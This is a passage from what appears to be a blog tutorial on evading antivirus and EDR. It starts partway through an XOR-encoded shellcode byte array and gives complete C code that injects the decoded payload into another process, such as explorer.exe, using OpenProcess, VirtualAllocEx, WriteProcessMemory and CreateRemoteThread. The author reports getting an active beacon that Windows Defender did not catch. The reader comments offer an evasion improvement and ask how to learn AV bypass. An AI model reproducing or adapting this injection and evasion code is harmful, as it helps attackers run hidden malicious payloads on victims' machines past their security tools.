x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
   
  // The PID that you want to use
   int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
    
    // Allocate space
    // Define the base_address variable which will save the allocated memory address
	LPVOID base_address;
    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(base_address){

        printf("[+] Allocated based address is 0x%x\n", base_address);
        
        				// Data chars counter
				int i;

				// Base address counter
				int n = 0;


				for(i = 0; i<=sizeof(data); i++){

					// Decode shellcode opcode
					char DecodedOpCode = data[i] ^ 0x01;

					// Write the decoded bytes in memory address
					if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){


						printf("[+] Byte wrote sucessfully!\n");

						// Increase memory address by 1
						n++;
					}
				}
				
				// Run our code as RemoteThread
				CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);

        

	}else{
		printf("[-] Unable to allocate memory ...\n");
	}
    
  }else{
    printf("[-] Unable to retrieve process handle\n");
  }

}

As we can see in line #55, we used CreateRemoteThread() function to execute our shellcode as a thread on explorer.exe, and CreateRemoteThread() took the following parameters:

  • process: Which is the handle that we retrieved earlier using OpenProcess()
  • Null: To get default security descriptor; check this for more info.
  • 100: The initial size of the stack.
  • base_address: Which is the first opcode of our shellcode.
  • Null: No parameters passed to the thread.
  • 0: The thread runs immediately after creation.
  • 0x5151: Thread ID

And after running the code, we will get the following:

We got an active beacon running under explorer.exe without being caught by Windows Defender.

Conclusion

By encoding our shellcode and decode it using this technique, we were able to bypass AV protection easily and run our shellcode inside another process.

You can customize the encoder as you want but you have to edit the decoder too, also you can modify the code to meet your needs on execution and some parts of the code are written only for educational purposes.

5 Replies to “In-Memory shellcode decoding to evade AVs/EDRs”

  1. I believe this can be improved by allocating the pages as RW first, write shellcode to it, then before CreateRemoteThread is called, change it to RWX.

  2. As beginners from what we are going to start, if anyone wants to learn bypass defender , av, edr then what is your recommendation tonlearn first

Leave a Reply

Your email address will not be published. Required fields are marked *